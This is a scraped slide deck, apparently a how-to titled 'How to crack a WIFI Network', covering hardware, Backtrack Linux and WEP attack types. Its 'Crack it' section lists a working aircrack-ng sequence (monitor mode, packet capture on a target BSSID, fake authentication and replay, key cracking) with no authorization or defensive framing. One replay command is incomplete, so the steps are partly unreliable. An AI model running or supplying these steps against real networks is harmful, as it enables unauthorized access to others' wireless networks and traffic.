How to crack a WIFI Network
Introduction <ul><li>Basic Knowledge
Hardware & Software
Crack it¡ </li></ul>
Basic Knowledge <ul><li>Wireless card
Boot Sequence
Linux Distribution
Networks Basic
Kinds of attacks
Types of WIFI security  </li></ul>
Wireless Card <ul><li>Directional antenna
Omnidirectional antenna </li></ul>Like 30 €
Boot Sequence <ul><li>BIOS </li></ul><ul><li>Start screen of the computer </li></ul>
Linux Distribution <ul><li>Ubuntu
Kubuntu
Backtrack
Samurai
Wifislax
... </li></ul>
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Cracking wep

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Cracking wep

  1. 1. How to crack a WIFI Network
  2. 2. Introduction <ul><li>Basic Knowledge
  3. 3. Hardware & Software
  4. 4. Crack it¡ </li></ul>
  5. 5. Basic Knowledge <ul><li>Wireless card
  6. 6. Boot Sequence
  7. 7. Linux Distribution
  8. 8. Networks Basic
  9. 9. Kinds of attacks
  10. 10. Types of WIFI security </li></ul>
  11. 11. Wireless Card <ul><li>Directional antenna
  12. 12. Omnidirectional antenna </li></ul>Like 30 €
  13. 13. Boot Sequence <ul><li>BIOS </li></ul><ul><li>Start screen of the computer </li></ul>
  14. 14. Linux Distribution <ul><li>Ubuntu
  15. 15. Kubuntu
  16. 16. Backtrack
  17. 17. Samurai
  18. 18. Wifislax
  19. 19. ... </li></ul>
  20. 20. Network Basic <ul><li>Frame
  21. 21. Monitor Mode
  22. 22. Managed Mode
  23. 23. Network packets
  24. 24. Interfaces
  25. 25. IVS packets </li></ul>
  26. 26. Kinds of attacks <ul><li>Desautenticathion
  27. 27. Fake autothentication
  28. 28. ARP replay </li></ul>
  29. 29. Types of Security in WIFI <ul><li>OPEN
  30. 30. WEP
  31. 31. WPA
  32. 32. WPA2 </li></ul>Crack It¡
  33. 33. Hardware & Software <ul><li>Wireless Card omnidirectional (alpha)
  34. 34. Backtrack 5 R1
  35. 35. http://www.backtrack-linux.org/downloads/ </li></ul>
  36. 36. Crack it! <ul><li>Put wireless network in monitor mode
  37. 37. Show the networks than you can crack
  38. 38. Capture the IVS packets
  39. 39. Attack the WIFI
  40. 40. Crack It </li></ul>
  41. 41. Put wireless in monitor mode <ul><li>iwconfig
  42. 42. airmon-ng start {interface}
  43. 43. mon0 </li></ul>
  44. 44. Show the network than you can crack <ul><li>airodump-ng mon0 </li></ul>
  45. 45. Capture the IVS packets <ul><li>airodump-ng --bssid {mac} --channel {channel} mon0 </li></ul>
  46. 46. Attack the WIFI <ul><li>aireplay-ng -1 0 -e {nombre_red} -a {mac_red} mon0 </li></ul><ul><li>aireplay-ng -b {mac_red} mon0 </li></ul>
  47. 47. Crack the password <ul><li>aircrack-ng *.cap </li></ul>
  48. 49. Contact <ul><li>[email_address]
  49. 50. [email_address]
  50. 51. _ p3r1k0 _ (twitter) </li></ul>
  51. 52. Appendix <ul><li>If you need more help you can find good tutorials in internet for example in this web:
  52. 53. http://www.elhacker.net/in_seguridad_wireless.html </li></ul>

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